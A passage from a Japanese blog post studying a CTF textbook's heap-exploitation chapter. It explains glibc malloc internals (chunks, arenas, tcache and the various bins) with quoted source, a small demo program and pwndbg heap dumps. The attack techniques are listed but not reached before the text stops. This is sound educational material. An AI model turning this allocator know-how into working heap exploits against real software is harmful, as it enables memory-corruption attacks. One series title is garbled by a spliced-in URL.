前回 は、引き続き、「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」を読み進めました。前回は、今回の「ヒープベースエクスプロイト」を飛ばして、35章の「仕様に起因する脆弱性」でした。
今回は、34章の「ヒープベースエクスプロイト」を読んでいきたいと思います。だいぶ長いので、しばらくかかると思います。
それでは、やっていきます。
- 参考文献
- はじめに
- 34章:ヒープベースエクスプロイト
- 34.1:動的メモリ割り当て
- 34.2:ヒープの利用と構造
- 34.3:資源の管理
- 34.4:リスト上のチャンク操作
- 34.5:確保:malloc()の動き
- 34.6:解放:free()の動き
- 34.8:攻撃手法
- 34.8.1:ヒープ・libcのアドレスの取得
- 34.8.2:tcacheエントリの重複
- 34.8.3:tcacheの汚染
- 34.8.4:mp_.tcache_binsの改竄
- 34.8.5:fastbinチャンクの重複
- 34.8.6:fastbinの汚染
- 34.8.7:global_max_fastの改竄
- 34.8.8:smallbinの汚染
- 34.8.9:largebinの汚染
- 34.8.10:sizeの改竄:チャンクサイズの拡大
- 34.8.10:sizeの改竄:チャンクサイズの縮小
- 34.8.10:sizeの改竄:topサイズの縮小
- 34.8.10:sizeの改竄:PREV_INUSEを落とす
- 34.8.10:sizeの改竄:IS_MMAPPEDを立てる
- 34.8.11:制御を奪う
- 34.8:まとめ
- 34.9:実践問題
- おわりに
参考文献
今回、題材にさせて頂いた「詳解セキュリティコンテスト」です。
はじめに
「セキュリティ」の記事一覧です。良かったら参考にしてください。
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ
・第50回:書籍「詳解セキュリティコンテスト」Pwnableの共有ライブラリと関数呼び出しを読んだ
・第51回:picoCTF 2025:General Skillsの全5問をやってみた
・第52回:picoCTF 2025:Reverse Engineeringの全7問をやってみた
・第53回:picoCTF 2025:Binary Exploitationの全6問をやってみた
・第54回:書籍「詳解セキュリティコンテスト」Pwnableの仕様に起因する脆弱性を読んだ
・第55回:システムにインストールされたものと異なるバージョンのglibcを使う方法
・第56回:書籍「詳解セキュリティコンテスト」Pwnableのヒープベースエクスプロイトを読んだ ← 今回
以下は「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」のサポートサイトです。問題ファイルをダウンロードすることが出来ます。
では、書籍の章を参考に書き進めていきます。
34章:ヒープベースエクスプロイト
34章の「ヒープベースエクスプロイト」は、約72ページの分量です。多いです!最初の約48ページ分は、ヒープの実装に関する解説で、残りの約24ページ分が攻撃などの内容になります。
このヒープベースエクスプロイトで解説している glibc のバージョンは、glibc-2.31 とのことです。glibc のソースコードは、以下から入手できます。glibc-2.31.tar.gz をダウンロードしておきます。
ちなみに、システムにインストールされた glibc のバージョンは 2.36 です。
$ ldd --version ldd (Debian GLIBC 2.36-9+deb12u8) 2.36 Copyright (C) 2022 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 作者 Roland McGrath および Ulrich Drepper。
34.1:動的メモリ割り当て
ここは 1ページだけで、動的にメモリを書く方する方法の種類について説明されています。
スタック上に確保する alloca関数、mmap関数を使った方法、malloc関数を使った方法です。malloc関数についてもいくつかの実装があると説明されています。
34.2:ヒープの利用と構造
ここでは、ヒープ領域全体の扱い方について解説されています。ヒープ領域は要求によって、拡張されたり、縮小されたりします。ヒープ領域は、スタック領域と逆で、アドレスの小さい方から、アドレスの大きい方に向かって拡張されていきます。
34.2.1:メモリプールの確保
ヒープ領域は、カーネルに要求することで確保することが出来ます。具体的には、現在のブレーク値(ヒープ領域の現在の終端アドレスのこと)を増減させることで、ヒープ領域を拡張したり、縮小したりします。ブレーク値は sys_brkシステムコールで変更することができます。malloc関数などで、現在のヒープ領域では不足する場合に、このような方法でヒープ領域が拡張されます。
34.2.2:チャンクのデータ構造
ヒープ領域は、チャンクというブロック単位で管理されています。チャンクは、size_t型の変数の 2倍の大きさ(x86_64 では 16バイトごと)にアライメントされます。1つのチャンクの最小サイズは MINSIZE として定義されており、32byte となっています。
チャンクは、先頭にチャンクヘッダがあり、malloc_chunk構造体で定義されています。malloc_chunk構造体の定義は、glibc-2.31/mallc/malloc.c にあります。以下です。
struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; };
ここでは、チャンクヘッダについて詳細に説明されています。重要なところは、そのチャンクがユーザによって確保された(使用中の)領域である場合と、解放された領域であるかによって、チャンクヘッダが変化することです。
まず、対象のチャンクの先頭の 8byte(mchunk_prev_size)は 1つ前のチャンクが使用するので使ってはいけません。自分のチャンクのサイズは、次の 8byte の mchunk_size に格納します。ユーザによって確保された(使用中の)チャンクの場合は、この mchunk_size だけをヘッダとして使い、16byteオフセットした位置(mchunk_prev_size + mchunk_size)から次のチャンクの 8byte 分までをユーザが使っていいことになります。解放されたチャンクの場合は、対象のチャンクの先頭から 24byte をチャンクヘッダとして使います。
なお、チャンクサイズは 16byte単位にアライメントされているため、mchunk_sizeメンバの下位3bitは本来は常に 0 になります。これを利用して、下位3bitには、以下のフラグが定義されています。
- bit0:PREV_INUSE:一つ手前のチャンク(アドレスの小さい方のチャンク)が利用中の場合にセットされる(例外的に、bin_at で管理されていない場合は解放されていてもセットされる)
- bit1:IS_MMAPPED:ヒープ領域ではなく、mmap関数で確保された領域の場合にセットされる
- bit2:NON_MAIN_ARENA:main_arena ではない別のアリーナで管理されている場合にセットされる
34.3:資源の管理
34.3.1:パラメータ
ここでは、ヒープ領域のパラメータを格納する malloc_par構造体が解説されています。この構造体は、ユーザが調整可能な値が含まれており、1つのプロセスにつき、mp_ という名前で 1つだけ静的に定義されています。例えば、作成できるアリーナの上限値などです。この構造体をユーザが直接変更できるわけではなく、mallopt関数を使って変更します。
malloc_par構造体は、glibc-2.31/mallc/malloc.c に定義されています。
struct malloc_par { /* Tunable parameters */ unsigned long trim_threshold; INTERNAL_SIZE_T top_pad; INTERNAL_SIZE_T mmap_threshold; INTERNAL_SIZE_T arena_test; INTERNAL_SIZE_T arena_max; /* Memory map support */ int n_mmaps; int n_mmaps_max; int max_n_mmaps; /* the mmap_threshold is dynamic, until the user sets it manually, at which point we need to disable any dynamic behavior. */ int no_dyn_threshold; /* Statistics */ INTERNAL_SIZE_T mmapped_mem; INTERNAL_SIZE_T max_mmapped_mem; /* First address handed out by MORECORE/sbrk. */ char *sbrk_base; #if USE_TCACHE /* Maximum number of buckets to use. */ size_t tcache_bins; size_t tcache_max_bytes; /* Maximum number of chunks in each bucket. */ size_t tcache_count; /* Maximum number of chunks to remove from the unsorted list, which aren't used to prefill the cache. */ size_t tcache_unsorted_limit; #endif };
34.3.2:アリーナ
ヒープ領域のメモリプールは、アリーナと呼ばれる機構で管理されています。アリーナは malloc_state構造体(別名:mstate)で定義されており、main_arena という名前で静的に存在しています。malloc_state構造体の定義も、glibc-2.31/mallc/malloc.c にあります。以下です。
struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; };
主なメンバの役割は以下の通りです。
- fastbinsY[10]:fastbin をサイズ別に管理する単方向の線形リストの配列
- bins[128 * 2 - 2]:unsortedbin、smallbin、largebin を管理する双方向の循環リストの配列
ここでは、bins について解説されています。bins は、各双方向の循環リストのヘッド(とは書かれてないですが)のイメージです。ここから、各リストを辿っていくことが出来ます。
bins は、bins[2n] と bins[2n+1] の 2つで 1セットになっています。これらは、チャンクヘッダと同じ構造をしているように動作します(これが分かりにくい)。チャンクヘッダは、malloc_chunk構造体が示すように、最大で 48byte ぐらいありますが、bins[2n] と bins[2n+1] は、malloc_chunk構造体のうちの fd と bk の先頭と末尾(とは書かれてませんが)です。
具体的に言うと、fd は、次のチャンクのポインタを格納しています。正確には、次のチャンクの malloc_chunk構造体の先頭、すなわち、mchunk_prev_size の位置を指しています。bk は、逆に 1つ前のチャンクの malloc_chunk構造体の先頭のアドレスを格納しています。チャンクには malloc_chunk構造体がちゃんと存在していますが、bins配列には fd と bk しか実体はありません。次のチャンクの malloc_chunk構造体の bk はどこを指しているのかというと、bins[2n-2] のアドレスを格納しています。bins の先頭の場合、malloc_chunk構造体の先頭としては、topメンバの位置を指していることになります。もちろん、bins には、実際には、mchunk_prev_size の実体はありません。便宜上、チャンクと同じ構造をしていると扱っているということです。
bins の先頭のチャンクヘッダは、bin_at(1) と呼ばれ(1 から始まる)、fd の bins[0] と bk の bins[1] を持っています。bin_at(2) は、bins[2] と bins[3] を持っているという具合です。
bin_at(1) を、unsortedbin が使います。bin_at(2) から bin_at(63) までを、smallbin が使います。bin_at(64) から bin_at(126) までを、largebin が使います。つまり、bins[0] から bins[251](126 * 2 = 252)までの用途が明らかになりました。残りの bin_at(127)(bins[252] と bins[253])は何の用途で使われるのでしょうか?
以降は、解放されたチャンクを管理する各リストについて説明が続きます。これらのリストの呼び方について、書籍を見渡しても、見当たりませんでしたので、ここでは、管理機構と呼ぶことにします。
34.3.3:fastbin
fastbin では、小さいサイズのチャンクが管理されます。具体的には、最小サイズの 0x20(32)byte から 0x10(16)byteごとに分けて管理されています。0x20、0x30、・・・、0xb0(176)byte の 10種類があります。ただし、通常は、0x80(128)byte までしか使われません。つまり、128byte以下の解放されたチャンクを、7種類の fastbin で管理することが出来るということです。
fastbin は、小さいサイズ用なので、時間のかかる双方向リストではなく、単方向のリストで管理されています。具体的には、チャンクの fd だけを使って、次のチャンクを指すようにしています。終端のチャンクは NULL が格納されています。
34.3.4:unsortedbin
unsortedbin は、解放されたチャンクが smallbin や largebin に振り分けられる前に、サイズごとにソートなどもされず、一時的に管理するために存在しています。unsortedbin は、bin_at(1) を使います。
34.3.5:smallbin
smallbin では、MIN_LARGE_SIZE(0x400=1,024byte)未満のサイズのチャンクを管理できます。つまり、smallbin は、チャンクの最小サイズである 32(0x20)byte から 1,008(0x3f0)byte の同じサイズのチャンクを管理することが出来ます。mallbin は、bin_at(2) から bin_at(63) を使います。
34.3.6:largebin
1,024(0x400)byte以上のサイズのチャンクを largebin で管理することが出来ます。チャンクサイズの上限はありません。largebin は、bin_at(64) から bin_at(126) までを使います。どの bin_at を使うかは、以下のマクロで計算されます。
例えば、1,024byte の場合、sz に 1,024 が入るので、6bit右シフトする(64 で割る)と 16 になります。48以下なので、48 + 16 = 64 となり、bin_at(64) で管理されることになります。bin_at(64) で管理されるのは、64byte増えるまでは同じ bin_at なので、チャンクは 16byte単位であることを注意すると、1,024byte から 1,072byte までが、bin_at(64) で管理されるということになります。最後は、bin_at(126) となるので、どんなに大きいチャンクでも、bin_at(126) で管理されることになります。
// XXX It remains to be seen whether it is good to keep the widths of // XXX the buckets the same or whether it should be scaled by a factor // XXX of two as well. #define largebin_index_64(sz) \ (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ 126)
largebin は、異なるサイズのチャンクを、同じ bin_at で管理することになりますが、bin_at から双方向リストとして、降順(大きいサイズ順)に繋がっていきます。
また、largebin として管理されているチャンクは、チャンクヘッダの fd_nextsize と bk_nextsize が使われます。これらは、fd と bk で構築される双方向の循環リストとは、別に独立して使われます。fd と bk は、アリーナを起点として、サイズの大きい順にリストが構築されていましたが、fd_nextsize と bk_nextsize は、アリーナを含みません。管理されているチャンク同士で双方向の循環リストを構築しています。また、同じサイズのチャンクの場合は、アリーナから見て先頭のチャンクだけがリストに繋がっており、次の別のサイズのチャンクに繋がっています。これにより、要求のサイズに早くたどりつけるようになっています。
34.3.7:tcache
tcache は、解放されたチャンクをスレッド単位でキャッシュされます。tcache は、アリーナで管理されず、スレッドの TLS(Thread Local Storage)で、サイズ別に単方向の線形リストで管理されます。チャンクの最小サイズの 0x20(32)byteから、16byteごとに 64種類のサイズ、つまり、最大で 0x410(16*64+16=1,040)byte のチャンクを、サイズごとに 7個までを管理することが出来ます。
具体的には、以下の malloc/malloc.c(チャンクヘッダの定義と同じファイル)の tcache_perthread_struct構造体で管理されています。
countsメンバは、64種類のサイズごとに、現在管理しているチャンクの数が入ります。entriesメンバは、bins と同じく、チャンクへのリンク(ポインタ)が入ります。
アリーナで管理されるチャンクは、fdメンバと bkメンバで双方向リストで管理されていましたが、tcache_perthread_struct構造体は、チャンクの同じ位置に、nextメンバと keyメンバが入ります。nextメンバは、単方向の線形リストのためのポインタで、keyメンバには、tcache_perthread_struct構造体の counts配列の先頭アドレスが格納されています。
tcache に入ったチャンクは、先頭に追加されて、nextメンバに、これまで先頭にあったチャンクのアドレスを格納し、keyメンバに、tcache_perthread_struct構造体の counts配列のアドレスを格納し、counts をインクリメントします。
malloc関数で、tcache のチャンクが使われると、keyメンバを NULL にし、counts をデクリメントします。
# define TCACHE_MAX_BINS 64 /* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry; /* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedef struct tcache_perthread_struct { uint16_t counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
tcache は、これまでのものと異なり、fd と bk が指すのは、チャンクの先頭ではなく、チャンクの先頭から 16byte オフセットされたところを指しています。
34.4:リスト上のチャンク操作
ここでは、解放済みチャンクを管理する各リストの追加と取り出しについて説明されています。
34.4.1:tcache
tcache は単方向の線形リストです。リストの先頭に追加され、リストの先頭(最後に追加)から取り出されます(LIFO)。
34.4.2:fastbin
fastbin も、tcache と同様に、単方向の線形リストです。同じく、リストの先頭に追加され、リストの先頭(最後に追加)から取り出されます(LIFO)。
34.4.3:unsortedbin
unsortedbin は、双方向の循環リストです。リストの先頭に追加され、リストの末尾から取り出されます(FIFO)。
34.4.4:smallbin
smallbin も、双方向の循環リストです。同じく、リストの先頭に追加され、リストの末尾から取り出されます(FIFO)。
34.4.5:largebin
largebin も、双方向の循環リストです。largebin は、1つのリストに複数のサイズが入っているため、他のリストに比べて操作が複雑になります。
まず、今回追加するチャンクが largebin のどのリスト(どの bin_at)かを特定します。複数のサイズが降順(大きいサイズ順)に繋がっていますので、最初に、末尾のチャンクを見て、今回追加するチャンクより大きいサイズの場合は、単純に末尾に繋いで完了です。
それ以降は、先頭から順に見ていくとのことです。fd ではなく、fd_nextsize を辿っていき、今回のチャンクを挿入する位置を特定します。同じサイズのチャンクが存在しない場合は、普通に挿入します。同じサイズのチャンクが既にある場合は、fd_nextsize と bk_nextsize を変更しなくていいように、fd_nextsize と bk_nextsize から指されている同じサイズ内で先頭ではなく、その次に挿入します。
次に、取り出しについてです。要求されたサイズ以上で、最小のサイズのチャンクを確保しようとします。bk_nextsize を使って、末尾から探索していきます。条件に合うサイズのチャンクが見つかった場合、もし、同一サイズ内に複数のチャンクが存在する場合、上と同じように、fd_nextsize と bk_nextsize を変更しなくていいように、fd_nextsize と bk_nextsize から参照されるチャンクではないチャンクを選びます。
34.5:確保:malloc()の動き
ここまで説明してきた解放されたチャンクを管理するリストについて、ここでは、malloc関数がそれらをどう使っていくのかが解説されています。
まず、要求サイズにヘッダを考慮したサイズを求めます。使用中のチャンクは、8byte のサイズの領域だけがあればいいので、要求サイズに 8byte を加えて、16byte単位で切り上げた(アライメントした)サイズを求めます。
まずは、要求サイズが 0x410(1,040)byte以下の場合は、tcache のチャンクを確認します(ただし、calloc関数の場合は tcache からは探さず、他のリストから探します)。要求サイズに一致したリストに解放済みチャンクがあれば、それを使います。それが無ければ、以下のように、他のリストから探します。
要求サイズが 0x80(128)byte 以下の場合、fastbin から探します。見つからなければ、0x400(1,024)byte未満の場合は、smallbin を見に行きます。0x400(1,024)byte以上の場合は、malloc_consolidate() という処理が実行されます。これは、fastbin で管理されているチャンクを可能な限り併合して、unsortedbin に移動します。その後、unsortedbin を見に行って繋ぎ替えを行います。0x400(1,024)byte以上なら、largebin を見に行きます。
チャンクが確保できたら、チャンクの先頭のアドレスに、16byte を加算したアドレスをユーザに(返します)渡します。
以降は、各管理機構で管理された解放済みのチャンクを取得したときの処理について見ていきます。
34.5.1:fastbinから確保
要求サイズが、(0x20(32)byte以上で)、0x80(128)byte以下の場合、fastbin から確保を試みます。7種類のサイズ別の fastbinsY から該当のサイズのリストを辿っていきます。解放済みチャンクが見つかれば、それをユーザに返します。そのチャンクに繋がっている後続のチャンクについては、tcache に移動させます。
その様子を書籍が提供してくれている実際のプログラムで確認していきます。
ソースコード(fast2tcache.c)は以下です。要求サイズは全て 24byte なので、8byte加算すると 32byte になります。まず、malloc関数を 4回実行して、p配列にメモリを確保します。次に、7回 calloc関数の実行と解放を行い、最初に確保した p配列を全て解放し、malloc関数を 2回実行します。最後に、calloc関数を 1回実行します。
#include <stdlib.h> int main(void){ void *p[4]; for(int i=0; i<sizeof(p)/sizeof(void*); i++) p[i] = malloc(0x18); for(int i=0; i<7; i++) free(calloc(1, 0x18)); for(int i=0; i<sizeof(p)/sizeof(void*); i++) free(p[i]); for(int i=0; i<2; i++) malloc(0x18); calloc(1, 0x18); }
書籍では、最後の calloc関数のところでブレークポイントを設定して、fastbin のチャンクを使ったときの動作を確認しています。その位置では、tcache に 5個のチャンクがエントリされて、fastbin に 4個のチャンクがエントリしてる状況です。
free関数の動作については後ろの章で解説されていますが、簡単に言うと、tcache が空いてれば、tcache で管理させて、そうでなければ、fastbin で管理される、という感じです。
上のプログラムは、最初に、calloc関数で確保された 7個のチャンクが解放されます。これらは全て tcache で管理され、その次の p の 4つの解放は、fastbin で管理されることになります。2個の malloc関数のメモリ確保では、tcache のチャンクが使われます。よって、tcache に 5個、fastbin に 4個のチャンクがエントリしてる状況になるということです。
最後の calloc関数を実行すると、fastbin の先頭のチャンクが使われて、以降の 3つのチャンクのうち、2個のチャンクが tcache に移動することになります。
では、実際に動かして確認します。まず、メモリマップを確認します。ヒープ領域は、0x405000 から 0x21000 のサイズで確保されています。
$ gdb -q fast2tcache pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File 0x400000 0x401000 r--p 1000 0 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/fast2tcache 0x401000 0x402000 r-xp 1000 1000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/fast2tcache 0x402000 0x403000 r--p 1000 2000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/fast2tcache 0x403000 0x404000 r--p 1000 2000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/fast2tcache 0x404000 0x405000 rw-p 1000 3000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/fast2tcache 0x405000 0x426000 rw-p 21000 0 [heap] 0x7ffff7dc6000 0x7ffff7dc9000 rw-p 3000 0 [anon_7ffff7dc6] 0x7ffff7dc9000 0x7ffff7def000 r--p 26000 0 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7def000 0x7ffff7f44000 r-xp 155000 26000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f44000 0x7ffff7f97000 r--p 53000 17b000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f97000 0x7ffff7f9b000 r--p 4000 1ce000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f9b000 0x7ffff7f9d000 rw-p 2000 1d2000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f9d000 0x7ffff7faa000 rw-p d000 0 [anon_7ffff7f9d] 0x7ffff7fc3000 0x7ffff7fc5000 rw-p 2000 0 [anon_7ffff7fc3] 0x7ffff7fc5000 0x7ffff7fc9000 r--p 4000 0 [vvar] 0x7ffff7fc9000 0x7ffff7fcb000 r-xp 2000 0 [vdso] 0x7ffff7fcb000 0x7ffff7fcc000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7fcc000 0x7ffff7ff1000 r-xp 25000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 26000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 30000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 32000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
次に、最初の malloc関数を実行した直後の状態で確認します。先頭のチャンク(サイズが 0x290)の用途は、おそらく、tcache の管理領域(tcache_perthread_struct構造体)だと思います。その次に確保されているのが、p配列の先頭にアドレスを格納してるチャンクです。Top chunk は、おそらく、これ以降が空き領域ということだと思います。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x405290 Size: 0x20 (with flag bits: 0x21) Top chunk | PREV_INUSE Addr: 0x4052b0 Size: 0x20d50 (with flag bits: 0x20d51) pwndbg> p p $1 = {0x4052a0, 0x0, 0x0, 0x0}
次は、7回の malloc関数と free関数を実行した後で確認します。p配列に格納されている 4個のチャンクの後ろに、7回の malloc関数と free関数を実行したことで、tcache で管理されていることが分かります。tcache の内容を確認するための pwndbg のコマンドの tcachebins を使ってみます。tcache の先頭に追加されていってることが、アドレスから分かります。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x405290 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x4052b0 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x4052d0 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x4052f0 Size: 0x20 (with flag bits: 0x21) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405310 Size: 0x20 (with flag bits: 0x21) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405330 Size: 0x20 (with flag bits: 0x21) fd: 0x405725 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405350 Size: 0x20 (with flag bits: 0x21) fd: 0x405745 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405370 Size: 0x20 (with flag bits: 0x21) fd: 0x405765 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405390 Size: 0x20 (with flag bits: 0x21) fd: 0x405785 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4053b0 Size: 0x20 (with flag bits: 0x21) fd: 0x4057a5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4053d0 Size: 0x20 (with flag bits: 0x21) fd: 0x4057c5 Top chunk | PREV_INUSE Addr: 0x4053f0 Size: 0x20c10 (with flag bits: 0x20c11) pwndbg> tcachebins tcachebins 0x20 [ 7]: 0x4053e0 —▸ 0x4053c0 —▸ 0x4053a0 —▸ 0x405380 —▸ 0x405360 —▸ 0x405340 —▸ 0x405320 ◂— 0
次は、p配列に格納されている 4個のチャンクを解放したところを確認します。tcache が全て埋まってるので、fastbin に管理されていることが分かります。fastbin についても pwndbg のコマンドの fastbins が用意されているので使ってみました。こちらも先頭から追加されているようです。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Free chunk (fastbins) | PREV_INUSE Addr: 0x405290 Size: 0x20 (with flag bits: 0x21) fd: 0x405 Free chunk (fastbins) | PREV_INUSE Addr: 0x4052b0 Size: 0x20 (with flag bits: 0x21) fd: 0x405695 Free chunk (fastbins) | PREV_INUSE Addr: 0x4052d0 Size: 0x20 (with flag bits: 0x21) fd: 0x4056b5 Free chunk (fastbins) | PREV_INUSE Addr: 0x4052f0 Size: 0x20 (with flag bits: 0x21) fd: 0x4056d5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405310 Size: 0x20 (with flag bits: 0x21) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405330 Size: 0x20 (with flag bits: 0x21) fd: 0x405725 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405350 Size: 0x20 (with flag bits: 0x21) fd: 0x405745 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405370 Size: 0x20 (with flag bits: 0x21) fd: 0x405765 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405390 Size: 0x20 (with flag bits: 0x21) fd: 0x405785 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4053b0 Size: 0x20 (with flag bits: 0x21) fd: 0x4057a5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4053d0 Size: 0x20 (with flag bits: 0x21) fd: 0x4057c5 Top chunk | 